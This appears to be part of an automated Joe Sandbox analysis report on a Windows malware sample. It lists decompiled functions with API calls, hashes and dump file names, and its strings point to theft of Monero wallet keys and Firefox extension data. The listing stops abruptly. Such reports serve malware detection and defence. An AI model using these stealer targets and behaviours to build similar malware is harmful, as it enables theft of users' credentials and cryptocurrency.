StrStrA.SHLWAPI(014B01B0,?,?,?,005D140C,?,014B01B0,00000000), ref: 005D926C
lstrcpyn.KERNEL32(0080AB88,014B01B0,014B01B0,?,005D140C,?,014B01B0), ref: 005D9290
lstrlen.KERNEL32(?,?,005D140C,?,014B01B0), ref: 005D92A7
wsprintfA.USER32 ref: 005D92C7

Strings

%s%s, xrefs: 005D92B5

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 4965bdd97b2b944a08653b76b5e82f2166eeb650c4085757e882dbe225f09827
Instruction ID: dd2e4b8950982f64e47fe174cc0cb043f1b175dbd02614912b69147251360279
Opcode Fuzzy Hash: 4965bdd97b2b944a08653b76b5e82f2166eeb650c4085757e882dbe225f09827
Instruction Fuzzy Hash: 42019375500208FFCB48DFECC998EAE7BB9FF48364F148548F9099B245C671AA40DB92

Function 005C12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C12B4
RtlAllocateHeap.NTDLL(00000000), ref: 005C12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005C12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005C12F5
RegCloseKey.ADVAPI32(?), ref: 005C12FF

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 79bcacca3e51c10bf4c45d03710488999256c66979ee25e5f7978a0a0c377d00
Instruction ID: 55e46bcd4a91d7d53ee4978c1c7e7466391920c6cd10f74d337f8f0f3c9483d3
Opcode Fuzzy Hash: 79bcacca3e51c10bf4c45d03710488999256c66979ee25e5f7978a0a0c377d00
Instruction Fuzzy Hash: 8D01E1B9A40308BFDB44DFE4DC59FAEB7B8FB48701F108159FA0597280D6759A018F51

Function 005DC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 005DC8EC
___crtLCMapStringA.LIBCMT ref: 005DC90C
___crtLCMapStringA.LIBCMT ref: 005DC931

Strings

, xrefs: 005DC896

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 66463c4071749583436f1624d52c50e6144a82a268ab1829b8137e9e1dd583a8
Instruction ID: 24fedc2be92b15d3965a72d9ef0e090fc084b20f7ccefb6d0df009a3eda0b360
Opcode Fuzzy Hash: 66463c4071749583436f1624d52c50e6144a82a268ab1829b8137e9e1dd583a8
Instruction Fuzzy Hash: 2641087150075D5EDB318B288D94FFB7FF8BB45704F1444EBE98A86282D271AA44DF60

Function 005D6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 005D6663

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

ShellExecuteEx.SHELL32(0000003C), ref: 005D6726
ExitProcess.KERNEL32 ref: 005D6755

Strings

<, xrefs: 005D66D9

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 01b6ccdfd04ac4a2f251fee4f2195cda0091000ee339a9e14bb15dfa2c97642c
Instruction ID: 2a8bae0ba1b9087861ca2903c16e47724f1448824f36f4f2be23d2db58194fb3
Opcode Fuzzy Hash: 01b6ccdfd04ac4a2f251fee4f2195cda0091000ee339a9e14bb15dfa2c97642c
Instruction Fuzzy Hash: 273152B1C012189BDB64EB94DC95FDE7B78BF44300F40419AF21966291DF746B48CF5A

Function 005D87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,005E0E28,00000000,?), ref: 005D882F
RtlAllocateHeap.NTDLL(00000000), ref: 005D8836
wsprintfA.USER32 ref: 005D8850

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Strings

%dx%d, xrefs: 005D8847

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: c2213505fb22fc4e736e8338ac8f1e02ac50f6d76c7842c2e9bfb63b8eb24066
Instruction ID: df8ba11e05c9214bd9024fedcef41c1185c420715fece86bde1335fa5a71f6ad
Opcode Fuzzy Hash: c2213505fb22fc4e736e8338ac8f1e02ac50f6d76c7842c2e9bfb63b8eb24066
Instruction Fuzzy Hash: 6B2112B1A40308AFDB58DF98DD49FAEBBB8FB48711F104519F605A7380C7799901CBA1

Function 005D8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,005D951E,00000000), ref: 005D8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 005D8D62
wsprintfW.USER32 ref: 005D8D78

Strings

%hs, xrefs: 005D8D6F

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 6951656a0c47666c6e93c4af922b9e3d8c4d4d701b43d1148c909650b615c328
Instruction ID: e413b1988b3cac9bf790f3b3a223d0ad18892b36f7b5f89c0dd9688680a9b32e
Opcode Fuzzy Hash: 6951656a0c47666c6e93c4af922b9e3d8c4d4d701b43d1148c909650b615c328
Instruction Fuzzy Hash: E3E0ECB5A44308BBD758DBA4DD0AE697BB8FB44702F0081A8FD4997280DA719E109B96

Function 005CA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D8B60: GetSystemTime.KERNEL32(005E0E1A,014AFBA0,005E05AE,?,?,005C13F9,?,0000001A,005E0E1A,00000000,?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005D8B86

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005CA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 005CA3FF
lstrlen.KERNEL32(00000000), ref: 005CA6BC

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

DeleteFileA.KERNEL32(00000000), ref: 005CA743

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 8ef17bc17e15ab6adcc017614cd85ea06cfe3a851ff6e7a345e3a4d1d0c0cf2b
Instruction ID: e0103afd06c0eba531af8699678243033941a2c2ef3cecdf100df70635c64f05
Opcode Fuzzy Hash: 8ef17bc17e15ab6adcc017614cd85ea06cfe3a851ff6e7a345e3a4d1d0c0cf2b
Instruction Fuzzy Hash: 60E122728101499ACB18FBA8DC9AEEF7738BF94300F50815BF51772191EF306A49DB66

Function 005CD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D8B60: GetSystemTime.KERNEL32(005E0E1A,014AFBA0,005E05AE,?,?,005C13F9,?,0000001A,005E0E1A,00000000,?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005D8B86

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005CD481
lstrlen.KERNEL32(00000000), ref: 005CD698
lstrlen.KERNEL32(00000000), ref: 005CD6AC
DeleteFileA.KERNEL32(00000000), ref: 005CD72B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 22971f7b7950f2d202f55995b2f70245c45804e142da7200e3e29610422d14fc
Instruction ID: 6e06ea38c9242c5be64f65924fa99a5b12f97aa0aec289f78b3421ffb7118c0c
Opcode Fuzzy Hash: 22971f7b7950f2d202f55995b2f70245c45804e142da7200e3e29610422d14fc
Instruction Fuzzy Hash: FF9146728101459BCB18FBA8DC9AEEF7738BF94300F50412BF51762291EF346A49DB66

Function 005CD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D8B60: GetSystemTime.KERNEL32(005E0E1A,014AFBA0,005E05AE,?,?,005C13F9,?,0000001A,005E0E1A,00000000,?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005D8B86

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005CD801
lstrlen.KERNEL32(00000000), ref: 005CD99F
lstrlen.KERNEL32(00000000), ref: 005CD9B3
DeleteFileA.KERNEL32(00000000), ref: 005CDA32

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e14ead1eb7d8d05cf59b3a6daf69b74665efaf778e63b05525df37409e0094e3
Instruction ID: 1a0541aadbceca470783b25ceebc46269355aa75f648706b4e9d4e68bcdb2a43
Opcode Fuzzy Hash: e14ead1eb7d8d05cf59b3a6daf69b74665efaf778e63b05525df37409e0094e3
Instruction Fuzzy Hash: 2F8115718101559BCB18FBA8DC59EEF7B38BF94300F40411BF407A6291EF346A49DB66

Function 005CF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
Part of subcall function 005C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
Part of subcall function 005C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
Part of subcall function 005C99C0: ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
Part of subcall function 005C99C0: LocalFree.KERNEL32(005C148F), ref: 005C9A90
Part of subcall function 005C99C0: CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

Part of subcall function 005D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005D8E52

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,005E1580,005E0D92), ref: 005CF54C
lstrlen.KERNEL32(00000000), ref: 005CF56B

Strings

moz-extension+++, xrefs: 005CF5AD
^userContextId=4294967295, xrefs: 005CF59C

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: f18f4b4baec3cb5f6400a887311fc19cb6b20a68c04c79b3f1e8686b11cf8bc6
Instruction ID: 89aac8bef1ae392d1daa0ef66a77b561c098669faac299be4d1212a80a10975f
Opcode Fuzzy Hash: f18f4b4baec3cb5f6400a887311fc19cb6b20a68c04c79b3f1e8686b11cf8bc6
Instruction Fuzzy Hash: 64513571D001499ADB14FBA8DC9ADEE7B38BF94300F40852BF81657291EE345A49CBA6

Function 005D70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

